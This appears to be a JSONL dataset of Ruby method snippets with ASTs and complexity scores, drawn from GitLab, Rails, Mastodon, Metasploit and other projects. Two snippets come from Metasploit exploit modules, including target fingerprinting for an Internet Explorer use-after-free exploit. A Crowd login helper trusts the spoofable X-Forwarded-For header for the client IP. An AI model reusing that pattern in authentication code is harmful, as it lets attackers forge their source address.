{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/omniauth_crowd/lib/omniauth/strategies/crowd.rb","start_line":28,"raw_source":"def get_client_ip\n        env['HTTP_X_FORWARDED_FOR'] ? env['HTTP_X_FORWARDED_FOR'] : env['REMOTE_ADDRESS']\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_client_ip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_X_FORWARDED_FOR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_X_FORWARDED_FOR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REMOTE_ADDRESS\"]}]}]}]}","id":"4f1b5c09-a4c6-48cc-abf7-a1b890754d51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/chat_message/note_message.rb","start_line":47,"raw_source":"def message\n        \"#{strip_markup(user_combined_name)} #{link(\"commented on #{target}\", note_url)} in #{project_link}: *#{strip_markup(formatted_title)}*\"\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strip_markup\",{\"type\":\"send\",\"children\":[null,\"user_combined_name\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"commented on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]}]},{\"type\":\"send\",\"children\":[null,\"note_url\"]}]}]},{\"type\":\"str\",\"children\":[\" in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_link\"]}]},{\"type\":\"str\",\"children\":[\": *\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strip_markup\",{\"type\":\"send\",\"children\":[null,\"formatted_title\"]}]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}","id":"9ad81382-2015-41f9-a8ef-19b1266a6149"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/form_filler.rb","start_line":71,"raw_source":"def set_checked!(field, key)\n      if fields.include? key\n        checked = fields[field]\n\n        if checked\n          check field\n        else\n          uncheck field\n        end\n      end\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_checked!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checked\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checked\"]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[null,\"uncheck\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]},null]}]}","id":"47759468-43fd-43ee-9bc5-fd792fa5cdd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/pipeline.rb","start_line":15,"raw_source":"def errors\n            stage_seeds.flat_map(&:errors).compact.presence\n          end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stage_seeds\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]}]}]},\"compact\"]},\"presence\"]}]}","id":"59fc9db4-1ff8-413f-a8ce-6a1ae1cc3ff4"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/test_event_service.rb","start_line":6,"raw_source":"def perform\n    Rails.logger.info(\"Processing Instagram test webhook event, #{@messaging}\")\n\n    return false unless test_webhook_event?\n\n    create_test_text\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Processing Instagram test webhook event, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@messaging\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_webhook_event?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"create_test_text\"]}]}]}","id":"67e1815f-8d9f-4054-b99c-5b7d2abec1b3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb","start_line":78,"raw_source":"def rport\n    datastore['RPORT']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}","id":"153a4fcc-83f5-4086-9716-c4790922ee5b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/notification.rb","start_line":20,"raw_source":"def broadcast_notification\n    NotificationsChannel.broadcast_to(\n      user, {\n        title: title,\n        id: id,\n        kind: kind\n      }\n    )\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"broadcast_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationsChannel\"]},\"broadcast_to\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kind\"]},{\"type\":\"send\",\"children\":[null,\"kind\"]}]}]}]}]}","id":"b583b193-f020-4648-a119-07bac0230b55"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ie_execcommand_uaf.rb","start_line":88,"raw_source":"def get_target(agent)\n    # If the user is already specified by the user, we'll just use that\n    return target if target.name != 'Automatic'\n\n    nt = agent.scan(/Windows NT (\\d\\.\\d)/).flatten[0] || ''\n    ie = agent.scan(/MSIE (\\d)/).flatten[0] || ''\n\n    ie_name = \"IE #{ie}\"\n\n    case nt\n    when '5.1'\n      os_name = 'Windows XP SP3'\n    when '6.0'\n      os_name = 'Windows Vista'\n    when '6.1'\n      os_name = 'Windows 7'\n    end\n\n    targets.each do |t|\n      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))\n        vprint_status(\"Target selected as: #{t.name}\")\n        return t\n      end\n    end\n\n    return nil\n  end","complexity_score":48.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"nt\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows NT (\\\\d\\\\.\\\\d)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ie\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE (\\\\d)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ie_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"IE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ie\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"5.1\"]},{\"type\":\"lvasgn\",\"children\":[\"os_name\",{\"type\":\"str\",\"children\":[\"Windows XP SP3\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"6.0\"]},{\"type\":\"lvasgn\",\"children\":[\"os_name\",{\"type\":\"str\",\"children\":[\"Windows Vista\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"6.1\"]},{\"type\":\"lvasgn\",\"children\":[\"os_name\",{\"type\":\"str\",\"children\":[\"Windows 7\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ie\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"ie_name\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nt\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"os_name\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target selected as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"34f529ba-8de9-48e1-a056-ab37b3ea3b27"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/open_project/common/duration_component_preview.rb","start_line":47,"raw_source":"def iso8601\n        render OpenProject::Common::DurationComponent.new(\"P3DT12H5M\", :seconds, color: :subtle)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"iso8601\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Common\"]},\"DurationComponent\"]},\"new\",{\"type\":\"str\",\"children\":[\"P3DT12H5M\"]},{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"sym\",\"children\":[\"subtle\"]}]}]}]}]}]}","id":"cfa2eff4-200a-4e39-97c8-bd784d85f025"}
{"repo_name":"gl_command","file_path":"./repos/gl_command/lib/gl_command/chainable.rb","start_line":30,"raw_source":"def chain_returns\n        @chain_returns ||= commands.map(&:returns).flatten.uniq\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"chain_returns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@chain_returns\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commands\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"returns\"]}]}]},\"flatten\"]},\"uniq\"]}]}]}","id":"aee2755d-d505-47ad-b2cb-a3f4e62bbc77"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/models/access_grant_mixin.rb","start_line":115,"raw_source":"def fallback_secret_strategy\n        ::Doorkeeper.config.token_secret_fallback_strategy\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fallback_secret_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Doorkeeper\"]},\"config\"]},\"token_secret_fallback_strategy\"]}]}","id":"d465631f-a325-40a9-9b83-0083d03dd784"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_export/relation_export_service.rb","start_line":81,"raw_source":"def archive_file_full_path\n        @archive_file ||= File.join(shared.archive_path, \"#{relation}.tar.gz\")\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"archive_file_full_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@archive_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared\"]},\"archive_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]}]},{\"type\":\"str\",\"children\":[\".tar.gz\"]}]}]}]}]}","id":"9ad9da70-b4b3-40c8-9ac3-220121d9f2c0"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twilio/send_on_twilio_service.rb","start_line":69,"raw_source":"def inbox\n    @inbox ||= message.inbox\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@inbox\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"inbox\"]}]}]}","id":"20e6a2f6-41f4-4b63-a705-326573db9703"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/19_environments.rb","start_line":46,"raw_source":"def create_deployment!(project, name, ref, sha)\n    environment = find_or_create_environment!(project, name)\n    environment.deployments.create!(\n      project: project,\n      ref: ref,\n      sha: sha,\n      tag: false,\n      deployable: find_deployable(project, name)\n    )\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_deployment!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"ref\"]},{\"type\":\"arg\",\"children\":[\"sha\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"environment\",{\"type\":\"send\",\"children\":[null,\"find_or_create_environment!\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"deployments\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"lvar\",\"children\":[\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deployable\"]},{\"type\":\"send\",\"children\":[null,\"find_deployable\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"bfffe83c-5b62-4dfa-b49c-58246caa20d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deploy_key.rb","start_line":74,"raw_source":"def deploy_keys_project_for(project)\n    if association(:deploy_keys_projects).loaded?\n      deploy_keys_projects.find { |dkp| dkp.project_id.eql?(project&.id) }\n    else\n      deploy_keys_projects.find_by(project: project)\n    end\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"deploy_keys_project_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association\",{\"type\":\"sym\",\"children\":[\"deploy_keys_projects\"]}]},\"loaded?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_keys_projects\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dkp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dkp\"]},\"project_id\"]},\"eql?\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_keys_projects\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]}","id":"20623bd6-02b1-4cbe-a421-2e9c9b5479ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2240,"raw_source":"def valid_lfs_oids(oids_to_check)\n    lfs_objects.where(oid: oids_to_check).pluck(:oid)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_lfs_oids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oids_to_check\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_objects\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oid\"]},{\"type\":\"lvar\",\"children\":[\"oids_to_check\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"oid\"]}]}]}","id":"a704052c-14f8-49c0-8240-3b9a6df52385"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/request.rb","start_line":473,"raw_source":"def local?\n      LOCALHOST.match?(remote_addr) && LOCALHOST.match?(remote_ip)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"local?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOCALHOST\"]},\"match?\",{\"type\":\"send\",\"children\":[null,\"remote_addr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOCALHOST\"]},\"match?\",{\"type\":\"send\",\"children\":[null,\"remote_ip\"]}]}]}]}","id":"d1bd6fca-bd46-4a84-962d-5924fedc8ab6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template.rb","start_line":362,"raw_source":"def validate_template\n    missing_resources = service_resources.select { |sr| sr.resource.nil? }\n\n    if missing_resources.present?\n      missing_list = missing_resources.collect { |sr| \"#{sr.resource_type}:#{sr.resource_id}\" }.join(\", \")\n      return {:valid   => false,\n              :message => \"Missing Service Resource(s): #{missing_list}\"}\n    end\n\n    service_resources.detect do |s|\n      r = s.resource\n      r.respond_to?(:template_valid?) && !r.template_valid?\n    end.try(:resource).try(:validate_template) || {:valid => true, :message => nil}\n  end","complexity_score":35.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missing_resources\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sr\"]},\"resource\"]},\"nil?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_resources\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missing_list\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_resources\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sr\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sr\"]},\"resource_type\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sr\"]},\"resource_id\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing Service Resource(s): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_list\"]}]}]}]}]}]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"resource\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"template_valid?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"template_valid?\"]},\"!\"]}]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"resource\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"validate_template\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"2b5cb3a5-c0e5-4413-83a8-a697a87a24f2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/status.rb","start_line":194,"raw_source":"def to_log_human_identifier\n    account.acct\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_log_human_identifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"acct\"]}]}","id":"eb768871-f10c-40a2-9480-d6da576dd4ef"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/orchestration_template.rb","start_line":66,"raw_source":"def content=(text)\n    super(with_universal_newline(text))\n    self.md5 = calc_md5(content)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"content=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_universal_newline\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"md5=\",{\"type\":\"send\",\"children\":[null,\"calc_md5\",{\"type\":\"send\",\"children\":[null,\"content\"]}]}]}]}]}","id":"82ac4ad5-18d2-4214-879f-0b8b3cdb6f89"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/filters/tilt_base.rb","start_line":7,"raw_source":"def self.render(name, source, indent_width: 0)\n        text = ::Tilt[\"t.#{name}\"].new { source }.render\n        return text if indent_width == 0\n        if text.frozen?\n          text.gsub(/^/, ' ' * indent_width)\n        else\n          text.gsub!(/^/, ' ' * indent_width)\n        end\n      end","complexity_score":14.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"kwoptarg\",\"children\":[\"indent_width\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Tilt\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"t.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"render\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent_width\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"frozen?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"indent_width\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"indent_width\"]}]}]}]}]}]}","id":"8b7cbbdf-de05-4406-b8cb-8dc1e6790186"}
